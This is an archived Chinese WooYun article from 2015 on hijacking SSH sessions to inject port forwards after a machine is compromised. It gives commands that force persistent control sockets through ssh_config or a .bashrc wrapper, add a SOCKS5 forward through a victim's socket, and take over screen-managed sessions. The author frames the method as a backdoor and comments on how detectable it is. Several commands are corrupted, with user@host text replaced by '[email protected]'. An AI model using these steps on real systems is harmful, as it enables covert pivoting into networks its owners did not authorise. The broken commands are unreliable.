# 劫持SSH会话注入端口转发

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-03-18T02:39:00Z
Canonical: https://wepostx.com/topics/753

> 乌云历史资料归档
>
> **原始作者：** mickey
> **原始编号：** superkieran-wooyundrops:507
> **原始发布时间：** 2015-03-18 10:39
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

昨天Ａ牛发群里的链接，其实这种攻击我感觉适合留后门，属于Post Exploitation阶段，我以前也没用过这个方法，都是傻呼呼的用个ld_preload后门，实际环境测试通过后，发现可用，比较有实用价值，就分享下，有错误的地方还请大家指出。

# 0x01 细节

## 1.1第一种场景：
攻击流程如下：SSH客户（ssh_user）连接到hop_1，攻击者(attacker)能够控制ssh_user这台机器，攻击者通过注入端口转发来实现入侵hop_1和hop_2之后的网络。步骤如下：

![原文图片](/media/2016/06/a3f6b330b81c2bdf3b59acc57e58af78)

### 1. 攻击者可以用两种方式来修改ssh客户端，如果有ROOT权限可以直接修改/etc/ssh/ssh_config，如果没有修改ssh_config文件的权限，可以通过在相应用户的.bashrc中封装ssh来实现。主要涉及的项如下：

```text
ControlPath /tmp/%r@%h:%p ControlMaster auto ControlPersist yes
```

![原文图片](/media/2016/06/d4f22dbcf7fe881fd9e6cea717270499)

如果打开了ControlPersist，表示用户在进行SSH连接后，即使退出了会话，我们也能通过socket劫持，因为这个文件不会删除。

### 2. 当(ssh_user)连接到hop_1（192.168.56.131）的时候，会在/tmp目录下生成一个socket文件，我们使用

```text
#!bash ssh -S [email protected] \:22 %h
```
来连接

![原文图片](/media/2016/06/45d41cef655e50e20a9e5e3481a11ff8)

注入命令端口转发的命令如下：

```text
#!bash ssh -O forward -D 8888 -S [email protected] \:22 %x
```

![原文图片](/media/2016/06/a2f5342a80fd1f9b5f4484145ed04421)

执行完这条命令后，我们就可以使用ssh_user这台机器的8888端口做SOCKS5代理，访问hop_2后的网段了。

### 3. 前面说过，如果ControlPersist为yes，则不会自动删除sockets文件，[email protected]:22，也可以优雅的使用

```text
#!bash [email protected] : # ssh -O exit -S [email protected] \:22 %x
```
来删除。
在.bashrc里封装ssh命令的方法如下：

```text
#!bash ssh () { /usr/bin/ssh -o "ControlMaster=auto" -o "ControlPath=/tmp/%r@%h:%p" -o "ControlPersist=yes" "$@"; }
```

![原文图片](/media/2016/06/b1222adbcd65f948eb3f976870e7c9d0)

## 1.2第二种场景：
这种情景是ssh_user用户使用screen管理ssh会话时的情景，步骤如下：

![原文图片](/media/2016/06/a5cdbd8e2627255e48eaa2f5e2abfcf8)

### 1. 当ssh_user使用

```text
#!bash screen ssh [email protected]
```
连接远程的hop_1（192.168.56.131）时，会在/var/run/screen有显示相应的文件

```text
#!bash [email protected] :~# ls -la /var/run/screen/ total 0 drwxrwxr-x 3 root utmp 60 Mar 16 03:37 . drwxr-xr-x 20 root root 640 Mar 3 21:23 .. drwx------ 2 root root 60 Mar 16 04:21 S-root
```
其中S-ROOT表示是本地的root用户连接的远程，可以用screen -r root/来接管会话，或者用screen -x 6851.pts-0.kali。

### 2. 如果要注入端口转发，还有 一点要注意，需要先执行script /dev/null来绕过pts/tty限制。命令如下

```text
#!bash [email protected] :~# lsof -i TCP:8888 [email protected] :~# script /dev/null Script started, file is /dev/null [email protected] :~# screen -S 6851.pts-0.kali -p 0 -X stuff $'~C' [email protected] :~# screen -S 6851.pts-0.kali -p 0 -X stuff $'-D:8888\n\n' [email protected] :~# lsof -i TCP:8888 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME ssh 6852 root 7u IPv4 94301 0t0 TCP *:8888 (LISTEN) ssh 6852 root 8u IPv6 94302 0t0 TCP *:8888 (LISTEN)
```
注入screen的ssh会话，会有一个不好的地方，就是你敲的命令，会在当前正在连接的用户那里同时显示，容易被发现。

![原文图片](/media/2016/06/fdd73f47a2bc0b7992444e5cded582e4)

# 0x02 参考文章

http://0xthem.blogspot.com/2015/03/hijacking-ssh-to-inject-port-forwards.html

## Replies
